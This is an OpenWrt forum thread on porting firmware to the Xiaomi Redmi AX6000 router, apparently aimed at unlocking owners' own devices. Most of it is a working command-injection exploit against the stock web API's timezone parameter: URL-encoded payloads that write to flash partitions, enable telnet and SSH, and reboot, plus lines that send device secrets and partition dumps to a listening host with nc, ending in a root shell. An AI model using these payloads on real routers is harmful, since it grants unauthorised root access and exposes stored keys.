Add OpenWrt support for Xiaomi "Redmi AX6000"

I'm a terrible web programmer I still don't know how to contribute to the openwrt community good luck on your journey with these boring hardwers

maybe this link will help you: https://elixir.bootlin.com/linux/latest/source/arch/arm64/boot/dts/mediatek/mt7986a-rfb.dts

BTW: Bananapi BPi-R3 is based on the same chipset.

https://git.openwrt.org/?p=openwrt/openwrt.git;a=commit;h=a96382c1bb204698cd43e82193877c10e4b63027

1 Like

Yes. Bpi r3 is slightly different though in that it’s more of a development board. Still working on device tree for this guy and waiting for my WSON-8 clip to come in.

1 Like

XDR6088

Here is what I found yesterday in the LUA code:

entry({"api", "misystem", "set_sys_time"}, call("setSysTime"), (""), 173) 


function setSysTime()
    local result = {
        ["code"] = 0
    }
    local time = LuciHttp.formvalue("time")
    local timezone = LuciHttp.formvalue("timezone")
    local index = tonumber(LuciHttp.formvalue("index") or 0) or 0
    XQSysUtil.setSysTime(time, timezone, index)
    LuciHttp.write_json(result)
end


function setSysTime(time, tzone, index)
    local XQCountryCode = require("xiaoqiang.XQCountryCode")
    local XQFunction = require("xiaoqiang.common.XQFunction") 
    
    if tzone and not XQFunction.isStrNil(tzone) then
        local fs = require("nixio.fs")
        local uci = require("luci.model.uci").cursor()
        uci:foreach("system", "system",
            function(s)
                if not XQFunction.isStrNil(s.timezone) then
                    uci:set("system", s[".name"], "timezone", tzone)
                    uci:set("system", s[".name"], "webtimezone", tzone)
                    uci:set("system", s[".name"], "timezoneindex", index)
                end
            end
        )
        uci:commit("system")
        XQFunction.forkExec("/etc/init.d/timezone restart")
        
        local XQSysUtil = require("xiaoqiang.util.XQSysUtil")
        local XQLog = require("xiaoqiang.XQLog")
        local isMeshCap = XQFunction.isMeshCap()
        if isMeshCap then
            local info = {
                ["cmd"] = "sync_time",
                ["timezone"] = tostring(tzone),
                ["index"] = tostring(index or 0),
                ["tz_value"] = tostring(tzone),
            }
            local json= require("luci.json")
            local j_msg = json.encode(info)
            XQLog.log(6," CAP call RE sync timezone msg:" .. j_msg)
            -- exploitable vulnerability --------
            XQFunction.forkExec("/sbin/whc_to_re_common_api.sh action \'" .. j_msg .. "\'")
            -- ----------------------------------
            XQFunction.forkExec("/sbin/whc_to_re_common_api.sh whc_sync")
        end
    end
    if not XQFunction.isStrNil(time) and time:match("^%d+%-%d+%-%d+ %d+:%d+:%d+$") then
        XQFunction.forkExec("echo 'ok,xiaoqiang' > /tmp/ntp.status; sleep 3; date -s \""..time.."\"")
    end
end


function isMeshCap()
    local uci = require("luci.model.uci").cursor()
    local mode = uci:get("xiaoqiang", "common", "NETMODE") or ""
    if mode:match("^whc_cap") then 
        return true
    end
    if mode:match("^lanapmode") then 
        local capmode = getCAPMode()
        if capmode == 1 then
            return true
        end
    end
    return false
end

function getCAPMode()
    local uci = require("luci.model.uci").cursor()
    local mode = uci:get("xiaoqiang", "common", "CAP_MODE") or ""
    if mode == "ap" then 
        return 1
    end
    return 0
end

It is very likely that this vulnerability can be exploited.

First you need to check the correct settings of the router:
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/xqnetwork/get_netmode
The netmode parameter must contain the value 4. If this is not the case, then the exploit will not work!

Test http request:
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20logger%20hello_world_3333_%20%3b%20

Vulnerability exploit check:
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/sys_log
Download the tar.gz file from the link specified in the browser.
Unpack tar.gz and open file data/usr/log/messages
At the very end of the log should be the following:

2022-08-07T14:46:32+01:00 XiaoQiang luci: "timezone=%20%27%20%3b%20logger%20hello_world_3333_%20%3b%20"
2022-08-07T14:46:32+01:00 XiaoQiang whc_to_re: {"cmd":"sync_time","tz_value":"
2022-08-07T14:46:32+01:00 XiaoQiang root: hello_world_3333_

If this test works, then to activate TELNET you will need to replace logger command with this:

  1. CMD: echo pVoAAA== | base64 -d | mtd write - crash ("pVoAAA==" decode to "\xA5\x5A\x00\x00")
    Request: http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20echo%20pVoAAA%3D%3D%20%7C%20base64%20-d%20%7C%20mtd%20write%20-%20crash%20%3B%20
    reboot

  2. CMD: bdata set telnet_en=1 ; bdata set ssh_en=1 ; bdata commit
    Request: http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20set%20telnet_en%3D1%20%3B%20bdata%20set%20ssh_en%3D1%20%3B%20bdata%20commit%20%3B%20

  3. CMD: mtd erase crash
    Request: http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20mtd%20erase%20crash%20%3b%20
    reboot

PS: Only now I do not know how to legaly force the function isMeshCap to return true...

15 Likes

Fantastic find!!! Everything worked up to activating telnet. It still returned code 0, but telnet was not enabled. Tried on version 1.2.8 and 1.0.48

1 Like

Not sure I understand. I double checked the encoding and tried with bdata set telnet_en=1 ; bdata set ssh_en=1 ; bdata commit (notice the =), telnet still won't accept my connection (port shows closed).

I also know that the vulnerability is working, http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20 reboots the device

1 Like

No luck yet, for reference I did bdata show | nc <computer ip> 1234

http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20show%20%7C%20nc%20{computer ip}%201234%20%3B%20
rand_key=*redacted*
rand_nonce=*redacted*
SN=*redacted*
color=100
CountryCode=CN
model=RB06
ethaddr=*redacted*
ethaddr_wan=*redacted*
miot_did=*redacted*
miot_key=*redacted*
wl1_ssid=*redacted*
wl0_ssid=*redacted*
telnet_en=0
ssh_en=0
uart_en=0

shows they're still 0 after 3rd reboot. Directly after the command to set bdata, telnet_en and ssh_en are set to 1 but revert to 0 after reboot

1 Like

It looks like encoding \xa5\x5a\x00\x00 is not working correctly.

dd if=/dev/mtd6 | hexdump -C | nc {computer ip} 1234

http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20dd%20if%3D%2Fdev%2Fmtd6%20%7C%20hexdump%20-C%20%7C%20nc%20{computer_ip}%201234%20%3B%20

I get this returned:

00000000  31 39 30 30 ff ff ff ff  ff ff ff ff ff ff ff ff  |1900............|
00000010  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
*
1 Like

This works:

1.Write \xa5\x5a\x00\x00 to crash partition (magic bytes)

  • Create magic bytes file (it's very difficult at best to encode raw bytes and send over http):
    echo -n -e '\xa5\x5a\x00\x00' > magic_bytes.bin

  • On pc create nc listener:
    nc -l 1234 < magic_bytes.bin

  • Copy binary to router: nc {computer_ip} {port} > /tmp/magic_bytes.bin
    http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20nc%20{computer_ip}%20{port}%20%3E%20%2Ftmp%2Fmagic_bytes.bin%20%3b%20

  • Write binary to crash partition (mtd6): cat /tmp/magic_bytes.bin | mtd write - crash
    http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20cat%20%2Ftmp%2Fmagic_bytes.bin%20%7C%20mtd%20write%20-%20crash%20%3b%20

  • Reboot: reboot
    http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20

  1. Set bdata
  • Enable telnet, ssh and commit: bdata set telnet_en=1 ; bdata set ssh_en=1 ; bdata commit
    http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20set%20telnet_en%3D1%20%3B%20bdata%20set%20ssh_en%3D1%20%3B%20bdata%20commit%20%3B%20

  • Reboot: reboot
    http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20

  1. Reset crash partition
  • Erase crash partition: mtd erase crash
    http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20mtd%20erase%20crash%20%3b%20

Annnnnnd, telnet!

% telnet 192.168.31.1
Trying 192.168.31.1...
Connected to 192.168.31.1.
Escape character is '^]'.

XiaoQiang login: 

To get root password, follow same as AX3600: https://github.com/YangWang92/AX6S-unlock/raw/master/unlock_pwd.py

BusyBox v1.25.1 (2022-03-29 17:31:07 UTC) built-in shell (ash)

 -----------------------------------------------------
       Welcome to XiaoQiang!
 -----------------------------------------------------
  $$$$$$\  $$$$$$$\  $$$$$$$$\      $$\      $$\        $$$$$$\  $$\   $$\
 $$  __$$\ $$  __$$\ $$  _____|     $$ |     $$ |      $$  __$$\ $$ | $$  |
 $$ /  $$ |$$ |  $$ |$$ |           $$ |     $$ |      $$ /  $$ |$$ |$$  /
 $$$$$$$$ |$$$$$$$  |$$$$$\         $$ |     $$ |      $$ |  $$ |$$$$$  /
 $$  __$$ |$$  __$$< $$  __|        $$ |     $$ |      $$ |  $$ |$$  $$<
 $$ |  $$ |$$ |  $$ |$$ |           $$ |     $$ |      $$ |  $$ |$$ |\$$\
 $$ |  $$ |$$ |  $$ |$$$$$$$$\       $$$$$$$$$  |       $$$$$$  |$$ | \$$\
 \__|  \__|\__|  \__|\________|      \_________/        \______/ \__|  \__|


root@XiaoQiang:~# 
root@XiaoQiang:~# cat /etc/openwrt_release 
DISTRIB_ID='OpenWrt'
DISTRIB_RELEASE='18.06-SNAPSHOT'
DISTRIB_REVISION='unknown'
DISTRIB_TARGET='mediatek/mt7986'
DISTRIB_ARCH='aarch64_cortex-a53'
DISTRIB_DESCRIPTION='OpenWrt 18.06-SNAPSHOT unknown'
DISTRIB_TAINTS='no-all busybox'
root@XiaoQiang:~# id
uid=0(root) gid=0(root) groups=0(root)
root@XiaoQiang:~# uname -a
Linux XiaoQiang 5.4.150 #0 SMP Tue Mar 29 16:56:29 2022 aarch64 GNU/Linux```
17 Likes

Great! Important discovery.

1 Like

I was able to make a build of OpenWrt for BananaPi-R3 that was added by @daniel last week, drop into AX6000 u-boot console, tftpboot initramfs-recovery and voila!

BusyBox v1.35.0 (2022-09-05 09:46:47 UTC) built-in shell (ash)

  _______                     ________        __
 |       |.-----.-----.-----.|  |  |  |.----.|  |_
 |   -   ||  _  |  -__|     ||  |  |  ||   _||   _|
 |_______||   __|_____|__|__||________||__|  |____|
          |__| W I R E L E S S   F R E E D O M
 -----------------------------------------------------
 OpenWrt SNAPSHOT, r0+20481-09ea1db93b
 -----------------------------------------------------
=== WARNING! =====================================
There is no root password defined on this device!
Use the "passwd" command to set up a new password
in order to prevent unauthorized SSH logins.
--------------------------------------------------
root@OpenWrt:/# uname -a
Linux OpenWrt 5.15.64 #0 SMP Tue Sep 6 10:15:48 2022 aarch64 GNU/Linux

OpenWrt running on a Redmi AX6000!

FWIW: on a uart console, spam ctrl-c immediately after power on and you'll drop into u-boot.

I need to get a good start on a dts now. I've already started here, but I'm about at the edge of my knowledge: https://github.com/soxrok2212/openwrt/blob/master/target/linux/mediatek/dts/mt7986a-xiaomi-redmi-router-ax6000.dts

As it stands, it builds but images made with it do not boot.

6 Likes

These will work and no need to use nc (But I didn't write the original.)

http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20zz%3D%24%28dd%20if%3D%2Fdev%2Fzero%20bs%3D1%20count%3D2%202%3E%2Fdev%2Fnull%29%20%3B%20printf%20%27%A5%5A%25c%25c%27%20%24zz%20%24zz%20%7C%20mtd%20write%20-%20crash%20%3B%20

reboot

2.http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20set%20telnet_en%3D1%20%3B%20bdata%20set%20ssh_en%3D1%20%3B%20bdata%20commit%20%3B%20

reboot

3.http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20mtd%20erase%20crash%20%3b%20

reboot

I don't know why the nc prompt transmission is complete and all the web pages return code0, but I can't crack it.

2 Likes

@soxrok2212 and @PussAzuki , tell me, in what mode did you have a router when you exploited the vulnerability?
It is defined like this:

uci get xiaoqiang.common.NETMODE
uci get xiaoqiang.common.CAP_MODE
uci get xiaoqiang.common.MESH_VERSION

I'm also interested in this information:
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/xqnetwork/get_netmode
netmode enum:
0 = ???
1 = "wifiapmode"
2 = "lanapmode"
3 = "whc_re"
4 = "whc_cap"
100 = recovery mode

图片

after check, I got this.

Hello! Can anyone see if there is OpenVPN in the stock firmware?

opkg list | grep openvpn 
root@XiaoQiang:/# opkg list | grep openvpn                                      
root@XiaoQiang:/# 

Negative, sir.

1 Like
root@XiaoQiang:/# uci get xiaoqiang.common.NETMODE
whc_cap
root@XiaoQiang:/# uci get xiaoqiang.common.CAP_MODE
uci: Entry not found
root@XiaoQiang:/# uci get xiaoqiang.common.MESH_VERSION
4

Thank you! It is a pity of course that OpenVPN is not installed. As I understand it, it's easy not to install it in the stock firmware.